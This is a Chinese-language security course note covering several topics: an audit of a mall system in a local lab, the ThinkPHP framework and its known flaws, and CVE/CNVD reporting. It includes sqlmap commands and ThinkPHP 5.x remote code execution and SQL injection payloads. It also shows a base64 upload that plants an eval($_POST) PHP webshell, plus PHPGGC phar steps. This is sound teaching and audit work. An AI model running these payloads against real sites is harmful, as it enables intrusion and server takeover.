C11第十九周

105 阅读8分钟

1、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞

sql注入

data.php search参数sql注入漏洞

在下面代码中,直接使用户提交的search参数并拼接到了sql语句中,造成sql注入漏洞api\data.php

1

漏洞验证

POST /api/data.php?mod=list&lx=2&search=a* HTTP/1.1
Host: mall.com
Content-Length: 0
Cache-Control: max-age=0
Origin: http://mall.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mall.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=kjuu63jt0cbnnigh8eb9r5k7ds
Connection: keep-alive
python sqlmap.py -r 1.txt --risk 3 --level 3 --batch --current-db
14

goods.php id参数存在sql注入漏洞

goods.php文件中的id参数存在sql注入漏洞

3

漏洞验证

POST /goods.php?id=1* HTTP/1.1
Host: mall.com
Content-Length: 0
Cache-Control: max-age=0
Origin: http://mall.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mall.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=kjuu63jt0cbnnigh8eb9r5k7ds
Connection: keep-alive
python sqlmap.py -r 1.txt --tech U --batch --current-db
15

文件上传漏洞

api\api.php文件中的代码没有过滤用户上传的文件,导致任意文件上传

2

2、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法

url传参

ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则:

http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]

这种方式也称为PATH_INFO方式,例如:

http://serverName/index.php/index/index/hello/val/value

如果环境只能支持普通方式的URL参数访问,那么必须使用兼容模式访问,如下:

http://serverName/index.php(或者其他应用入口文件)?s=/模块/控制器/操作/[参数名/参值...]

获取用户参数

使用 Request

可以通过 Request 对象完成全局输入变量的检测、获取和安全过滤。格式如下:Request::instance()->变量类型('变量名/修饰符');

use think\Request;

public function hello() {
    // 获取单个参数(自动识别GET/POST)
    $id = Request::instance()->param('id');
    
    // 获取所有参数(过滤后数组)
    $params = Request::instance()->param();
    
    // 指定来源(如仅GET)
    $name = Request::instance()->get('name');
}

使用助手函数 input()

input 函数支持对变量使用修饰符功能,可以更好的过滤变量。

input('变量类型.变量名/修饰符');

或者

Request::instance()->变量类型('变量名/修饰符');

// 自动识别请求类型
$id = input('id');               
// 指定来源(POST)
$email = input('post.email');    
// 带默认值和类型修饰符
$page = input('page/d', 1);      // 强制转为整数,默认值1

3、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法

代码执行漏洞

ThinkPHP底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生。

1.ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=calc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=calc

2. 版本:5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30

EXP:

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意⽂件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php⽂件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4

Thinkphp.Red_Tasselled.Spear工具

5

sql注入漏洞

insert方法注入

Builder 类的 parseData方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。

$username = request()->get('username/a');
db('users')->insert(['username' => $username]);

payload:

index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

update方法注入

Mysql类的parseArrayData方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。

$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);

payload:

http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)&username[3]=0

select方法注入1

Mysql类的parseWhereItem方法中,由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生

$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();

payload:

username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#

select方法注入2

Mysql 类的parseWhereItem方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句。再⼀个,Request类的 filterValue方法漏过滤NOT LIKE关键字,最终导致SQL注入漏洞的产生。

$username = request()->get('username/a');
 $result = db('users')->where(['username' => $username])->select();

payload:

username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#

orderby 方法注入

Builder类的parseOrder方法中,由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句,最终导致SQL注⼊漏洞的产生。

$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();

payload:

orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=11

Mysql 聚合函数相关方法注入

本次漏洞存在于所有Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句,最终导致SQL注入漏洞的产生。

$options = input('options');
$result = db('users')->max($options);

payload:

options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%231

常见不安全写法

直接拼接 SQL 语句

$list=M('recharge')->where("address='".$address."' and type=".$type)->order("id desc ")->select();

动态表名

$wallet = $this->request->param('type');
$list = Db::name($wallet . '_log')->select();

Base64 文件上传漏洞

if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)) {
    file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_image_content)));
}

4、搭建部署脱单交友平台并审计复现任意文件写入漏洞。

环境搭建

1.上传源码到网站站根目录并解压

2.创建数据库you并导入数据库文件到数据库

6

3.修改数据库链接文件:config\database.php

7

4.后台地址:localhost/admin/login/login.html(账号:admin密码:123456)

8

5.设置伪静态

.htaccess(Apache)

RewriteEngine On
RewriteBase /
# 如果请求已存在的文件或目录,直接访问
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
# 否则,将请求重写到 index.php 的 s 参数
RewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1]

6.前台地址:localhost/app

文件上传漏洞

application\app\controller\Upload.php文件

下面代码通过input函数接收data参数,类型是数组,然后调用base64image函数进行处理

9

在base64image函数中,直接将上传内容进行base64解码后并保存,没有过滤文件后缀

10

漏洞验证

将验证代码进行base64编码之后,上传。

data=data%3aimage/php%3bbase64,PD9waHAKZXZhbCgkX1BPU1RbMV0pOwoKPz4%3d

该编码解码为:

<?php
eval($_POST[1]);
?>

注意base64编码的特殊字符,可能导致解码出错。最好进行url编码。

11

访问文件地址,上传成功

12

getshell

13

5、预习phar反序列化漏洞及编号申请

phar反序列化漏洞

phar(PHP Archive)将多个PHP文件打包成一个文件,方便移动和运行。

文件结构

  • Stub:PHAR文件的识别标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,必须以__HALT_COMPILER();?>结尾。
  • Manifest:存储被压缩文件的权限、属性等信息,用户自定义的meta-data以序列化形式存储,是反序列化漏洞的触发点。
  • Contents:被压缩文件的内容。
  • Signature:文件的签名,位于文件末尾。

利用方法

  1. 生成恶意PHAR文件:通过PHP内置的Phar类生成PHAR文件,将恶意序列化数据存储到meta-data中。
  2. 上传恶意PHAR文件:将生成的PHAR文件上传到服务器。
  3. 调用恶意PHAR文件:通过文件操作函数(如file_exists()is_dir()等)结合phar://伪协议触发反序列化。

PHPGGC工具(生成恶意phar文件)

PHPGGC是⼀款能够自动生成主流框架的序列化测试payload的⼯具,可以说是反序列化的武器库。

运行phpggc的条件 PHP >= 5.6

用法

  • 查看全部利用链:php phpggc -l
  • 查看指定框架利用链php phpggc -l ThinkPHP;查看用法:php phpggc ThinkPHP/RCE1 -i
  • 生成恶意phar文件:php phpggc <框架名> <利用链> -o <输出文件>

文件操作函数(调用恶意phar文件)

通过phar://伪协议解析PHAR文件时,以下函数会将meta-data进行反序列化

常见的函数:file_exists()is_dir()md5_file()sha1_file()getimagesize();只要调用php_stream_open_wrapper的函数,都存在此问题

防御措施

  • 参数过滤:在文件系统函数的参数可控时,进行严格的过滤。
  • 文件内容检查:严格检查上传文件的内容,而不仅仅是文件头。
  • 禁用危险函数:在条件允许的情况下,禁用可执行系统命令、代码的危险函数。

编号申请

CVE漏洞编号申请

  1. 了解CVE和CNA:
  • CVE(Common Vulnerabilities and Exposures):全球通用的漏洞编号系统。
  • CNA(CVE Numbering Authority):CVE编号授权机构,如MITRE、Google、Apple等。
  1. 申请方式:
  • 通过VulDB(审核快,约3天):VulDB官网
  • 向Participating CNA申请(适用于特定厂商,如Adobe、Microsoft等)。
  • 向Primary CNA(MITRE)申请(适用于未被CNA覆盖的漏洞):MITRE申请页面
  • 通过DWF(开源漏洞)申请:DWF提交地址
  1. 实战申请步骤:
  2. 在GitHub或其他平台发现漏洞,并在Issue中公开披露。
  3. 通过MITRE网站提交CVE申请表单,描述漏洞详情。
  4. 1~2天后收到审核结果,成功则分配CVE编号,并在24小时内公开。

CNVD漏洞编号申请

  1. 注册与登录:
  2. 上报漏洞:
    • 进入“立即上报漏洞”页面,选择漏洞类型(事件型或通用型)。
    • 填写相关信息(涉事单位、漏洞名称、漏洞URL、影响范围等)。
    • 提交漏洞报告(推荐附带PoC/EXP、复现视频等)。
  3. 审核流程:
    • 事件型漏洞:1个工作日内验证,3个工作日内通报涉事单位,约1周内归档。
    • 通用型漏洞:5个工作日内通报厂商,审核周期较长(1个月或以上)。
  4. 证书发放条件:
    • 通用型漏洞:CVSS 2.0评分≥4.0,且涉及大型软件开发商(注册资金≥5000万人民币)。
    • 事件型漏洞:需为运营商(移动/联通/电信)或党政机关、科研院所等单位的高危漏洞。
  5. 积分与奖励:
    • 原创漏洞会获得CNVD积分,可用于兑换奖励。